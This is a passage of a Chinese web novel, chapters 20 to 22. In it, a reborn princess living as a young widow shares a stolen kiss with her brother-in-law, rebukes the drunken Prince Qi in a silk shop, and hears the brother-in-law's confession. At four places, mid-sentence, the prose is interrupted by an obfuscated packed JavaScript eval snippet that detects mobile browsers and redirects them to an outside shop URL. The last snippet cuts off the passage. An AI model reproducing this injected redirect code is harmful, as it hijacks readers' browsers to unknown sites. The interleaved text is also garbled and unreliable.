他翻了个身,面对着她的方向,温热的呼吸,似乎也随之近了几分。 李妙仪全身绷紧,连脚趾都蜷缩起来。 她听到他极轻地叹了口气,声音低哑,裹挟着难以言喻的隐忍与无奈:“睡吧。” 这一夜,李妙仪不知自己最终是如何睡着的。只觉得那恼人的声响、尴尬的沉默、身旁男人灼人的存在感,交织成一张密密的网,将她缠绕其中,半梦半醒,不得安宁。 直到窗纸透出第一缕蟹壳青的微光,远处传来第一声嘹亮的鸡鸣,她才从那种浑噩的状态中挣脱出来。几乎是立刻就醒了,睁开眼,身侧已空。 她慌忙坐起身,匆匆整理好略显凌乱的中衣,套上外衫,梳理好睡得有些蓬松的发辫,推门而出。 郑淮序正在院中,与早起喂鸡的陈大哥低声交谈,神情是一贯的沉稳淡然,仿佛昨夜种种尴尬不曾发生。 陈大嫂从灶间探出头,笑容淳朴而灿烂:“小娘子起啦?正好,粥刚熬得糯烂,山泉水煮的,香着呢,快来吃口热乎的。” 早饭桌上,陈大嫂的目光总不由自主地在李妙仪和郑淮序的身上逡巡。 终于,她按捺不住那份山村妇人特有的热心与直接,凑到李妙仪身边,好奇地问道:“小娘子,嫂子多嘴问一句,你们小两口成亲有几年头啦?瞧着真是郎才女貌,登对得很!可有儿女啦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164868|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 李妙仪一口粥差点呛住,她慌乱地摆手,声音细若蚊蚋:“还没有。” 她下意识地瞥了一眼对面的郑淮序,习武之人自是耳聪目明,他握着筷子的手果然顿了一下。 “哦,”陈大嫂恍然,眼神里顿时充满了过来人的了然与热切,“那是还没开怀!妹子,我跟你讲,这生儿育女啊,可是咱们女人家顶顶要紧的事,里头有大学问哩。你们年轻夫妻,脸皮子薄,有些事儿可不能一味害羞腼腆,那可不成的。” 她说着,朝自己东屋的方向努了努嘴,声音压得更低:“我那屋里,枕头底下有本册子,还是我娘当年压箱底传给我的好东西。等会儿你悄悄拿去看看,学学里头的东西,保管有用!夫妻和美,就靠这个!” 李妙仪听得云里雾里,待反应过来那“册子”可能是什么,整张脸连同脖颈都布满了云霞。 “不、不……真的不用,嫂子的好意心领了……”她语无伦次,脑袋几乎要埋进面前的粥碗里。 陈大嫂只当她脸皮薄,亲热地拍拍她的手背:“这有啥不好意思的!夫妻之间,敦伦之道,那是天经地义!你看你家相公,” 她目光赞许地扫过郑淮序,“身板挺拔,体格健壮,一看就是个能干的。你再通晓些门道,便少吃些苦头,两人和和美美的,保准三年抱俩,福气满满!” “咳咳!”一旁始终沉默用饭,仿佛置身事外的郑淮序,这次终于没能忍住,猝不及防被呛到,猛地侧过身去。 李妙仪急切地推拒了陈大嫂的好意,只觉得这顿早饭吃得前所未有的漫长。 好不容易辞别了再三挽留的陈大哥夫妇,郑淮序将随身的一块玉佩,悄悄放置在西屋的炕席下,权作酬谢。 临行前,陈大嫂拉着李妙仪的手又絮叨了好些“夫妻和睦”、“早生贵子”的吉利话,最后还硬塞给他们几个热乎乎的煮鸡蛋和两张粗面饼。 “路上吃,补补身子,往后有空要常来家中做客。” 走出很远,绕过山坳,再回头,还能看见村口那两个模糊的身影。 李妙仪轻轻吐出一口气,脸上灼人的热度,才在清凉的山风中渐渐消退。 郑淮序走在她身侧,沉默片刻,如玉的面庞上,含着一丝难以捉摸的笑意:“这位大嫂,着实热心。” 李妙仪脸上刚褪下去的热度卷土重来,她瞪了他一眼,却见他目视前方,侧脸线条柔和,嘴角微扬。 回府的过程,比他们预料中要顺利许多。郑淮序似乎早有安排,在镇上找到一处不起眼的茶铺,对了几句暗号,掌柜的眼神立刻变得恭敬。 不到半日,两辆青帷马车悄然驶到后门,四名精悍的护卫扮作车夫与随从,将他们护在中间。 李妙仪靠在车厢壁上,听着车轮辘辘,望着窗外飞逝的景致,那些曾用双脚丈量过的土地,如今在车轮下飞速倒退。 身下是柔软锦垫,手边小几上温着热茶,可她竟有些怀念山洞里那堆微弱的篝火,和那碗粗粝却温暖的杂粮粥。 对面的郑淮序已换回了锦袍玉带,墨发用玉冠束得一丝不苟,正闭目养神。他眉宇间恢复了惯有的沉稳与持重,又变回了那位喜怒不形于色的郑家二公子。 仿佛山中的那些日夜,那些在生死边缘不由自主的相互扶持,那些于寂静无声处滋生的隐秘悸动与无言的默契,都随着马车的驶入,被彻底留在了那道巍峨的城门之外。 一回到这座深邃如海的宅院,一切不合时宜的情愫与记忆,都被迅速而妥帖地掩埋起来,覆盖上厚厚的、名为“礼法”与“伦常”的泥土,夯得严严实实。 20. 悸动 马车驶入盛京时,巍峨的城门、熟悉的街巷、渐次亮起的灯火,逐一映入眼帘。这座李妙仪从小生活的城池,此刻在她眼里,竟显得有些陌生。 一切又回到了原来的轨道。 许是那场惊心动魄的“祈福”当真起了作用,国公府二老的气色眼见着一天天好转,已能让人搀扶着在屋里稍作走动,甚至到廊下晒晒太阳。 阖府上下悬了多日的心,总算重重落回了原处。笼罩在府邸上空的阴云散开,往日那井井有条的生活秩序,又重新得以运转。 李妙仪住回了她那个精致却空旷的院落,每日陪着婆母说些家常话,处理中馈琐事,哪处的月例该发了,哪房的用度超了,哪家的节礼需备了。锦衣玉食长大的她,从没想过,一两银子竟能买十几斤粮食,养一个府邸竟需要那么大的开销。 日子像一潭被精心维护的深水,表面平静无波,内里却乏味得令人窒息。 郑淮序则忙碌起来,离京多日,军中、朝中俱有事务积压。他变得早出晚归,偶尔在府中遇见,也不过是规规矩矩行礼问安,客气疏离,再无多言。 直到元旦这日,国公府特意请了傩戏班子,府中虽未张灯结彩,但宴开数席,邀请了近亲族人与故交旧友,一派热闹喧嚣。 戏台上,戴着狰狞面具的傩人踏着鼓点跳跃奔腾,叱咤呼喝,驱邪纳福;台下宾客推杯换盏,言笑晏晏。 李妙仪坐在女眷席中,身为新寡,她今日只着一件素色袄裙,脂粉未施,唇角噙着恰到好处的浅笑。任谁看去,这都是位端庄娴雅的国公府少夫人。 然而,几位吃了酒的婶姨凑近前来,拉着李妙仪的手,便是一阵恼人的长吁短叹。 “济川媳妇儿,真是苦了你了。”一位满头珠翠的婶母轻拍她的手背,声音不高不低,恰能让周遭几桌听清,“若是早日给济川留个一儿半女,如今也算有个倚靠,何至于这般孤清。” “说得是呀,”另一位接口道,目光似无意般掠过李妙仪平坦的小腹,“女子这一生,终究要靠子嗣立足。你们成婚时日短,济川又常年在边关,原是难为你,只是如今想来,终究可惜了。” 李妙仪见怪不怪,懒得应付,自打进了国公府,类似的话她听得太多。 深宅里的女子,仿佛生来便被框在“延绵子嗣”四个字之中,稍有不符,便成了旁人眼中可供轻议的缺憾。那目光如秤,那言语如刀,轻轻巧巧便将人掂量、剖解,直至只剩一具令人怜悯的空壳。 后来,不知由谁起头,话茬转到了郑淮序身上。 “伯章今年该弱冠了吧?”一位远房叔公捋须道,“你兄长去得早,这一房开枝散叶的重任,可落在你肩上了。” 郑淮序眉头一蹙,旋即恢复如常:“叔公说笑了,如今朝务繁忙,北境亦不靖,此事不急。” “怎的不急?”另一位婶娘劝道,“你爹娘身子如今见好,你若早日成家,他们才算真有盼头。我瞧着王尚书家的千金便很好,知书达理,模样也俊。” “李家三小姐也到了年纪,听说一手丹青颇得太后赏识。” “若论贤惠,当是陈阁老家的孙女,持家有方。” 众人七嘴八舌,仿佛恨不得立刻就将京中适龄贵女的画像塞到郑淮序手里。 李妙仪垂着眼,望向杯中澄澈的酒液。这是椒柏酒,元旦特饮,寓意驱邪长寿,祈愿新年。她轻轻抿了一口,辛辣中带着微苦,顺着喉头一路烧下去。 忽然间,她感到一种前所未有的无措。 她是国公府守贞的少夫人,是郑淮序的嫂嫂,这身份是她安身立命的根本。可此刻,坐在这满堂欢语之中,她觉得自己像个多余的存在。 傩戏的鼓点越来越急,面具上的彩绘在灯火下流光溢彩,那些狰狞或滑稽的面孔张合着,发出高亢的唱念,似在驱赶无形的“疫鬼”。 那她呢?她这个“寄居”在崔令言名分下的孤魂,又该被驱往何处? 宴至深夜,众人移步暖阁守岁。 李妙仪又饮了几杯椒柏酒,这酒后劲绵长,初时不觉,待暖意从四肢百骸蒸腾起来,方知厉害。她寻了个由头起身,只说有些头晕,想出去透透气。 国公夫人关切地嘱咐她早些歇息,不必强撑。她行礼告退,扶着青鸾的手走出暖阁。 一出阁门,冷风扑面,神思反而清醒了些。远处的傩戏仍未停歇,鼓乐声隐约传来,更衬得这深院寂寥。她没有回房,而是挥退青鸾,径直去了静心斋。 院中那株老梅已开,红萼映雪,幽香暗浮。她走到廊下,从角落的木箱里取出一柄长剑。 这剑是她回府后,悄悄使人从外头买来的,并非名器,只是寻常铁剑,却被打磨得锋利,剑身泛着冷光。 为何买剑?她自己也说不分明。 或许是想封存山野间那阵不必乔饰的清风,也或许是为心底那缕不肯认命的游魂,挣一寸可自在吐纳的天地。 她握紧剑柄,步入院中空地。 雪又落了,细碎的雪花沾在她的发间与肩头,她深吸一口气,抬手起势。 剑锋破空,划开飘落的雪片,没有任何章法,也不成套路,只凭一股意气肆意挥洒。裙裾翻飞,剑光流转如寒星,梅香与雪气交织,她在这一方小天地里舞得忘却所有。 那些被礼法规训的情绪,瞬间随剑势倾泻而出,搅动了沉寂的空气,也搅动了月门之外那道凝视的目光。 剑势愈急愈乱,她足尖点地,旋身,然而酒意上涌,脚步一个踉跄,竟收势不住,直直向前跌去。 一道身影自月门处疾步而来,在她失衡的刹那,一把握住她执剑的手腕,另一只手稳稳托住她的腰侧。温热的触感透过衣料传来,掌心覆着她冰凉的手背,握得那样紧,甚至有些发颤。 李妙仪愕然抬头,正对上郑淮序深晦的眼眸。 他仍穿着宴上的墨蓝锦袍,肩头落了些许雪屑,目光复杂地落在她脸上,唇抿成一线。 “你……”她欲言又止,酒意让思绪黏稠。 他却未答,只就着她失衡前倾的姿势,引着那失控的剑锋向后一荡,划开一道圆融而克制的弧光,轻轻巧巧卸去了所有冲力。 雪片被剑风裹挟,在他们周身纷扬旋落。 这一带一引之间,她几乎被他半揽入怀。他的手臂稳稳定在她腰侧,虽未有丝毫逾矩,但已将她完全笼在他的气息与体温之中。 “气息浮了,下盘不稳。”他关切的声音近在耳畔,“这样用剑,极易伤及自身。” 雪落无声,唯有彼此交错的呼吸清晰可闻。 下一刻,郑淮序蓦然惊醒,倏地松开了手,迅速向后退开两步,拉回了合乎礼法的距离。长剑随之滑脱,“锃”的一声轻响,斜斜没入蓬松的积雪。 他知道自己不该来。 守岁时见她离席,竟也寻借口跟到了这里,立于月门外,看她取出长剑,看她醉中乱舞。 每一步,他都该转身离开。 可脚步像被钉住,目光无法从她身上移开。 他唾弃这样的自己。他爱慕的是记忆里那个明媚骄纵的安阳公主李妙仪,可为何,望着眼前这个身为“嫂嫂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171396|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”的女子,他仍会心疼,会悸动,会在无数个深夜与她梦魂相缠。 梦中,她伏在他身上,单薄的肩胛骨随着抽泣剧烈颤抖。滚烫的泪水一颗颗砸落,渗进他的衣襟,灼痛肌肤。他能听见她破碎的呜咽,甚至抬起手,指尖触到她散落的长发,抚过她颤动的脊背,却在触及的下一刻骤然惊醒,冷汗涔涔,只剩满怀空寂与自我厌弃。 这些念头让他如坠冰窟,又似被烈火灼烧。 寒意重新包裹上来,比先前更甚。李妙仪望着他迅速恢复平静、甚至透出几分疏离的侧脸。这张脸,年少时令她咬牙切齿,山野间让她怦然心动,回府后却又变得疏远陌生。 往昔种种如走马灯闪过脑海,一股不管不顾的蛮横勇气,混着酒意与悲愤,冲垮了最后一丝理智与矜持。 她上前一步,一把攥住他锦袍的前襟,用力一扯。 郑淮序猝不及防,被她扯得俯身下来,两张脸瞬间近在咫尺。 “郑淮序。” 恰在此时,远处傩戏攀至高潮,鼓点如疾雨,叱喝声震天。而夜空中,“砰”然炸开第一朵烟花,绚烂的金色光雨照亮半边天穹,也照亮她泪水涟涟却异常明亮的眼睛。 下一瞬,她闭上眼,仰起脖颈,将自己的唇决绝地印上了他的。 世界,于郑淮序而言,在那一刹那彻底失声。傩鼓声、烟花爆裂声、风雪声……万籁皆褪,感官里只剩下唇上传来的战栗触感,和她紊乱温热的呼吸。 他应当推开她。 立刻,马上。 这是他的嫂嫂,是兄长明媒正娶的妻子。 可他的手僵在身侧,指尖冰凉,竟无法抬起,某些被严密封印的情感,汹涌地冲击着他摇摇欲坠的防线。 她吻得用力,唇齿间有泪的咸涩,也有椒柏酒的辛辣。 夜空中,烟花接二连三绽放,赤金、流紫、莹蓝,璀璨的光影明明灭灭,映亮雪地,映亮红梅,也映亮两人相贴的身影。 雪,又开始下了。 细密的雪花穿过璀璨光雨,无声洒落,落在他们交缠的发丝上,落在她因用力而轻颤的肩头,落在他僵直的背脊。 良久,李妙仪缓缓松手,向后退开少许。她睁开眼,眸光迷离,脸颊绯红,唇瓣因厮磨而嫣红湿润,在雪光烟花的映照下,有种惊心动魄的靡丽。 她看着他眼中翻涌的惊涛骇浪,轻轻地笑了。 “你看,”她目光掠过他,望向夜空不断绽放又寂灭的烟花,“多热闹啊。” “可这热闹,与我有什么相干呢?” 话音落下,她眼中的光彩仿佛也随之寂灭,身子晃了晃,在酒意、疲惫与激烈情绪的冲撞下,软软地向后倒去。 这一次,郑淮序没有任何犹豫,在她跌入雪地之前,稳稳接住了她。 温软身躯入怀,带着酒气、梅香与泪水的气息盈满鼻端。他低头看着她昏睡的容颜,长睫湿润,眉心微蹙,即使在梦中,仍笼着化不开的愁绪。 傩鼓渐歇,烟花也至尾声,最后一蓬银雨洒落后,夜空重归寂静,唯有雪花簌簌。他就这样抱着她,立在梅树下,立在雪地里,立在这方无人窥见的院落中。 许久,他极缓地低下头,将额头抵在她冰凉的额发上,闭了闭眼。喉结滚动,一声近乎痛苦的叹息逸出唇畔,消散在风雪里。 雪越下越大,很快覆去地上足印,覆去那柄孤零零的长剑,也仿佛要覆去今夜所有惊世骇俗的悸动与纠缠。 可有些东西,一旦破土,便再难掩埋。 如同雪地下的种子,静待春来。 21. 遗忘 次日清晨,国公府东院的厢房里,李妙仪缓缓睁开眼。 她盯着帐顶怔了半晌,昨夜的记忆如同被打碎的琉璃盏,碎了满地,当她凝神去抓,那些碎片又倏忽散去,只剩额角隐约的闷痛。 她揉着太阳穴坐起身,唤来青鸾梳洗。铜镜中的女子面容清丽,眉眼间倦意如挥之不去,崔令言这身子实在娇弱,昨夜不过淋了些雪,今晨喉间便已隐现干涩。 “少夫人昨夜睡得可好?”青鸾一边为她挽起青丝,一边柔声问道。 “尚可。”李妙仪含糊应道,指尖无意识地抚过唇角。 青鸾将发髻层层盘旋固定,梳成精巧的交心髻,轻声道:“您自受伤后,难得睡得这般沉,奴婢便没敢唤您起身守岁。” “无妨。”她淡淡一笑。 守岁与否,于如今的她而言并无分别,不过是又一个独自捱过的长夜。 梳洗罢,用了半碗清粥,管家便送来一摞账册,又禀报年关各院需添置新衣之事。李妙仪略一思忖,决定亲自去盛京最负盛名的云锦阁挑选布料。 云锦阁坐落在东市最繁华的地段,即便天寒,阁内依旧暖香馥郁,衣香鬓影往来不绝。 李妙仪戴着帷帽,在青鸾搀扶下走进店内。一股暖意混合着上等熏香扑面而来,她摘下帷帽交给青鸾,露出一张清雅脱俗的脸。 店内顿时安静了一瞬,几道目光若有若无地扫过来。她仿若未觉,径自走向陈列布料的区域。 云锦阁不愧是盛京第一,各色绫罗绸缎琳琅满目,从江南的软烟罗到蜀中的织锦,从素雅的月白到富丽的朱红,应有尽有。 指尖抚过一匹雨过天青色的云锦,触手温凉柔滑,上头的暗纹在光线下若隐若现,宛如烟雨朦胧中的远山。 “少夫人好眼力。”掌柜殷勤上前,“这是江南今年新到的料子,统共就三匹,一匹进了宫,一匹被丞相府订下,只剩这一匹了。” “包起来罢。”她目光流转,落在一旁玄色暗金纹的锦缎上。 这颜色让她莫名想起郑淮序,他似乎总穿玄色,衬得人如冷玉琢成。她犹豫片刻,还是移开了视线。 又挑了几匹稳重的厚缎与时新花样,正要结算,忽闻身后一阵喧哗。 “让开!齐王殿下驾到!”一道尖细的嗓音划破宁静。 李妙仪的心猛地一沉,缓缓转过身。 只见七八个华服青年涌入店内,个个酒气熏天,步履虚浮。被簇拥在中央的男子约莫二十五六,绛紫蟒袍,玉带銮佩,面容俊雅却眼带浮肿,正是齐王李琮,她前世最不齿的堂兄。 李妙仪垂下眼帘,掩住眸中翻涌的嫌恶。 “哟,这不是国公府的少夫人吗?真是巧了!”一个油头粉面的跟班率先嚷道,语气轻佻。 齐王眯着醉眼打量她,目光如黏腻的蛛网在她脸上逡巡,半晌扯出意味不明的笑:“原是崔小姐……哦不,如今该称郑少夫人了。可惜,当真可惜。” 他这话说得含糊,但其中的轻慢,却让李妙仪心头火起。他是在惋惜郑淮舟战死沙场?还是在讥讽她年轻守寡? 店内鸦雀无声,所有视线聚拢而来。青鸾气得脸色发白,上前半步挡在李妙仪身前。两名护卫也握紧了刀柄,只等主子一声令下。 李妙仪轻轻将青鸾拉回身后,向前一步,福身行礼:“见过齐王殿下。” “免礼。”齐王随意摆手,又逼近两步,“少夫人这是在操办年货?郑国公府如今靠你一个妇道人家支撑,着实辛苦。郑淮序那小子也是不懂事,怎忍心让这样的美人抛头露面?” 言语已染上狎昵,青鸾在一旁浑身微颤。 李妙仪抬起眼,平静地看着他:“劳殿下挂心。亡夫为国捐躯,马革裹尸,乃武将殊荣,阖府上下与有荣焉。至于府中事务,上有国公爷定夺,下有管家分忧,我不过尽本分,不敢言苦。” 不卑不亢,字字如锥,甚至暗指齐王醉生梦死,毫无建树。 齐王笑意僵在嘴角。他身边的跟班见状,急于讨好,凑上前嬉笑道:“少夫人此言差矣,郑将军自然是英雄,可您这般年轻貌美,独守空闺岂非暴殄天物?我们王爷最是怜香惜玉,您若有难处……” “放肆!”李妙仪倏然抬眼,直刺那人,“国公府之事,何时轮到你这等腌臜之徒置喙?!” 那跟班被这骤然而起的气势慑得一退。 “齐王殿下御下不严,纵容此等狂徒当众羞辱功臣遗孀,”她步步向前,字字清晰,“莫非是觉得我郑家无人,还是觉得我朝法度纲常,形同虚设?” 一连串的质问,掷地有声。满阁宾客屏息,无数目光聚于她挺直的脊背。 齐王的脸色彻底沉了下来,他死死盯着李妙仪,眼中惊疑不定。这眼神,这气势,竟让他莫名感到一丝熟悉。 他想起那个总爱与他作对的堂妹,平日里巧笑倩兮,一旦动怒,便是这般锋芒毕露,让人不敢直视。 可安阳已经死了。 “下人无状,本王回去自会管教。”他压下心头荒谬的悚然,阴鸷爬满眼角,“郑少夫人,好自为之。” 言罢拂袖转身,领着一众噤若寒蝉的跟班狼狈离去。 阁内静得落针可闻,掌柜躬身几乎触地,恭敬将包好的布料奉上。李妙仪不再多言,戴上帷帽,在无数复杂目光中从容离去。 马车缓缓驶离东市,车厢内,李妙仪闭目养神,脑海中却不断回放着方才的一幕。 她想起前世,李琮曾试图强纳一名六品文官的女儿为妾,那姑娘以死相抗,撞柱而亡。她得知后勃然大怒,连夜入宫,跪在父皇面前泣血陈词,逼着父皇下旨申饬李琮,罚俸一年,闭门思过三个月。 那时她以为,自己至少能护住一些人。 可后来呢?她连自己都没能护住。 “少夫人,您方才真厉害。”青鸾小声打破沉默,眼里满是崇拜,“那些话,奴婢听着都解气。” 李妙仪睁开眼,看着这个忠心耿耿的丫鬟,心中泛起一丝暖意,却也涌上更多忧虑。 “逞一时口舌之快罢了。”她轻声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176653|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,“齐王此人,睚眦必报,今日我当众折了他的面子,他绝不会善罢甘休。” 青鸾脸色一白:“那怎么办?” “兵来将挡,水来土掩。”李妙仪望向窗外飞逝的街景,“郑国公府也不是任人揉捏的软柿子。” 话虽如此,她心中却无十足把握。郑家初逢大难,二老身子虽有好转,但早已不问朝事;郑淮序毕竟年轻,根基尚浅。而齐王是皇室宗亲,背后盘根错节的关系网不容小觑。 更重要的是,她如今再也没有安阳的权势,能与之一搏。 “回府后,今日之事不必声张。”她吩咐青鸾,“但若有人问起,也不必隐瞒,照实说便是。” “是。” 之后几日,风平浪静。 这日清晨,她去给婆母请安,穿过回廊时,与刚从外面回来的郑淮序迎面遇上。 他披着一身墨色大氅,肩头落着未化的霜雪,寒冽气息扑面而来。见到她,脚步顿住。 “母亲今日可好?”他问着,目光却未曾从她脸上移开,仿佛在审视,又似在确认什么。 李妙仪迎着他的视线,轻声答:“用了半碗薏米粥,精神尚佳。” 郑淮序点了点头,忽然道:“云锦阁的事,我知道了。” 李妙仪心口一紧,羽睫低垂,屏息等待预料中的责问,责怪她招惹齐王,为府中树敌。 却听他下一句道:“应对得不错,郑家的人,不必忍这等污糟气。” 她蓦然抬眼,猝不及防地撞入他深邃的眸中。那里面没有她以为会看到的审视或不满,只有一片沉静的、近乎包容的深海。 他没怪她惹祸。 反而……在护着她。 酸涩的热意毫无征兆冲上眼眶,她慌忙垂首,喉间微哽,半晌才低低应了一声:“嗯。” 郑淮序凝视她发顶轻颤的步摇,忽然上前一步。 清冽的雪松气倏然靠近,将她周身笼住。李妙仪呼吸一滞,怔怔看着他抬起手,指尖在她鬓边轻轻一拂,拂落一缕不知何时沾上的飞絮。 她定住了身,看着他收回手,指尖捻着那缕白絮,眸光深晦难明,仿佛那轻飘飘的东西有千钧之重。 “你没有什么想同我说的么?” 元旦之后,他等的这几日,那夜的失控,在他心中反复灼烧,可她竟真将那个吻忘得一干二净。 李妙仪被他问得茫然,拧眉思索片刻,困惑地摇了摇头,诚实地回答:“并无。” 郑淮序脸色一变,唇角似是抿紧了一瞬。他不再多言,只深深看她一眼,转身离去,很快消失在回廊尽头。 李妙仪怔怔望着他消失的方向,半晌没有动弹。寒风吹起她鬓边碎发,方才被他指尖拂过的地方,竟隐隐发烫。 “少夫人,风大,当心着凉。”青鸾的声音从身后传来,为她披上一件斗篷。 她回过神来,拢紧衣襟,望向灰蒙蒙的天空。 细雪不知何时悄然飘落,一片冰凉落在她唇上,倏忽融化,留下一丝清冷的湿润。 22. 坦白 年夜饭设在花厅,偌大的圆桌,按礼数摆满珍馐佳肴,却莫名透着一股冷清。 郑国公夫妇坐在上首,郑淮序次之,李妙仪坐在婆母身侧,三郎郑淮礼、四郎郑淮信、妹妹郑华琬依次而坐。本该坐着长兄郑淮舟的位置,空荡荡摆着一副碗筷,杯盏满斟。 府里刻意减去红绸,只在廊下挂了几盏素雅的宫灯,乐师在屏风后奏着清雅的丝竹,更添几分寂寥。 众人默默动筷。 郑华琬看着大哥的空位,眼圈先红了,低头一粒粒扒着饭。郑淮信平素最崇拜长兄,此刻也绷着脸。 国公夫人见状,叹了口气,给李妙仪夹了一筷子清蒸鲈鱼:“令言,你也多吃些,这段时日,辛苦你了。” “多谢母亲。”李妙仪轻声道,食不知味。 望着那杯满斟的酒,她恍惚想起前世宫中除夕宴,父皇母后在侧,兄弟姐妹围坐,歌舞升平,觥筹交错。那时只觉寻常,如今想来,竟是遥不可及的奢望。 “大哥最爱吃这道蟹粉狮子头了。”郑华琬忽然小声啜泣起来,“去年他还说,今年要带我去西郊猎场学骑马……” 厅内一片寂静,只剩压抑的哭声。 郑淮序放下筷子:“琬琬,大哥是为保家卫国而牺牲,我们该为他骄傲。” 郑华琬用力点头,眼泪却止不住。 李妙仪心中酸涩,温声道:“琬琬,你大哥若在天有灵,定盼你平安喜乐。等开春暖和了,你若想学骑马,或可请二哥安排。” 她抬眼看向郑淮序,他也正望着她,随即点了点头。 郑华琬这才慢慢止了哭。 年夜饭在沉闷的气氛中结束,守岁亦是简单,一家人围炉说了会话,二老精神不济,早早便散了。 接下来几日,祭祖、拜年、接待往来亲眷,李妙仪忙得脚不沾地。她是新寡,又是新妇,处在这样一个微妙的位置,一举一动皆受瞩目。 宽慰怜悯的目光,窃窃私语的打量,她都一一得体应对过去,只在夜深人静时才卸下疲惫。 而郑淮序,自那日回廊一别后,态度愈发奇怪。她有心找他谈一谈,想问清楚他那日未尽的话语,想提醒他注意叔嫂分寸。 可总不凑巧,不是他被同僚邀走,便是她被府中琐事绊住。 转眼到了初七,郑淮序去参加兵部几位同僚的聚会,李妙仪在书房处理完年节期间积压的账册,已是戌时末。 窗外夜色浓稠,她揉了揉酸涩的眼,吹熄烛火,准备回房休息。刚走到门边,正要伸手开门,门却猛地被人从外面推开! 浓重酒气混合着寒气扑面而来,一道高大的黑影踉跄着撞了进来。 李妙仪猝不及防,被撞得后退几步,惊骇之下,以为遭遇歹人,想也未想,拳脚便招呼了上去。 “登徒子!国公府你也敢闯!”她屈起手肘,狠狠击向对方肋下,膝盖弯曲,直顶要害。 来人反应极快,一把擒住她挥舞的手腕,另一条手臂则揽住她的腰,旋了半圈,将她牢牢锁进怀里,后背抵上了冰凉的门板。 “是我。”熟悉的声音在头顶响起。 李妙仪挣扎的动作顿住。 黑暗中,视觉被剥夺,其他感官异常敏锐。她被他紧紧拥着,隔着厚厚的冬衣,仍能感到他胸膛滚烫的体温。 “郑淮序?你喝醉了?快放开!”她试图推开他,手心却触到他坚实的胸膛,如烙铁般烫手。 他未乖乖听劝,反将头埋在她颈侧,滚烫的呼吸喷洒在肌肤上,含糊唤道:“嫂嫂。” “你还知道喊嫂嫂!”她颤声推拒,“看看这是哪里!我是谁!” 他终于微微抬起头,虽看不清神情,却能感觉到他灼灼的目光,如同实质,烙在她脸上。 “我知道,这里是国公府,你是崔令言。” 他每说一句,揽在她腰间的手臂就收紧一分,两人身体贴得更紧,几乎严丝合缝。她能清晰地感受到他身体的紧绷,以及那不容忽视的侵略性。 “可是,”他凑近,低语钻进她耳中,“我控制不住自己。” “郑淮序,你……” “听我说,让我说完。”他打断她,似乎在积聚勇气,又像是在与什么激烈搏斗,“我心里一直有个位置,是留给安阳公主的。” 李妙仪呼吸已乱。 “第一次见她,是在宫中的马球赛上。她骑着一匹枣红马,红衣猎猎,明媚张扬,一杆挥出,满场喝彩。那时我就想,世上怎会有这般女子,仿佛把所有光都聚在了身上。” 像在倾诉一个埋藏已久的梦,他讲述得很慢。 “后来,她总爱找我的茬。宫宴上让我对不上诗,校场比箭非要赢我,得知我痴迷武学,还托人送来她自己改良的护臂图纸。她像一团火,明知靠近会灼伤,还是忍不住想看她,想听她说话,哪怕是被她奚落。” 前世记忆翻涌,她记得他总是沉默冷峻,便起了逗弄的心思,想看他打破平静的模样。从未想过,那些一时兴起的“找茬”,在他心里,竟留下了这样的痕迹。 “郑家祖训不得尚主,我与她,从无可能。”他顿了顿,“我将这份心思死死压着,不敢泄露分毫。后来,她意外身亡……” 手臂收得更紧,她听见他喉间压抑的哽咽。 “我以为,往后只要按部就班地成家立业,就能淡忘这份心思。”他话锋一转,头埋得更低,“直到你出现。” “你说话的语气,生气时的眼神,处理事情的果决傲气,和她实在太像了。甚至你拭剑、解谜,眼里都会有和她一样的光。” “对不起。”他痛苦低喃,“我告诉自己,你与她是两个人,我这样的心思是一种不可原谅的亵渎。可我控制不住,每次看到你,就会忍不住在意。我既唾弃自己龌龊,又卑劣地庆幸,还能以这种方式,靠近一点点像她的温度。” 他的话,像一把钝刀,在李妙仪心上反复切割。震惊、酸楚,交织成汹涌的浪潮,几乎将她淹没。 他竟是因为她像“李妙仪”,才对“崔令言”产生这般逾越之情? 那她呢?该不该告诉他真相。 这念头刚冒起便被按下。重生之事太过匪夷所思,即便他信了,又如何?她是崔令言,郑淮舟的遗孀,这个身份已成定局。说出真相,只会让一切更混乱危险。 在她挣扎的瞬间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 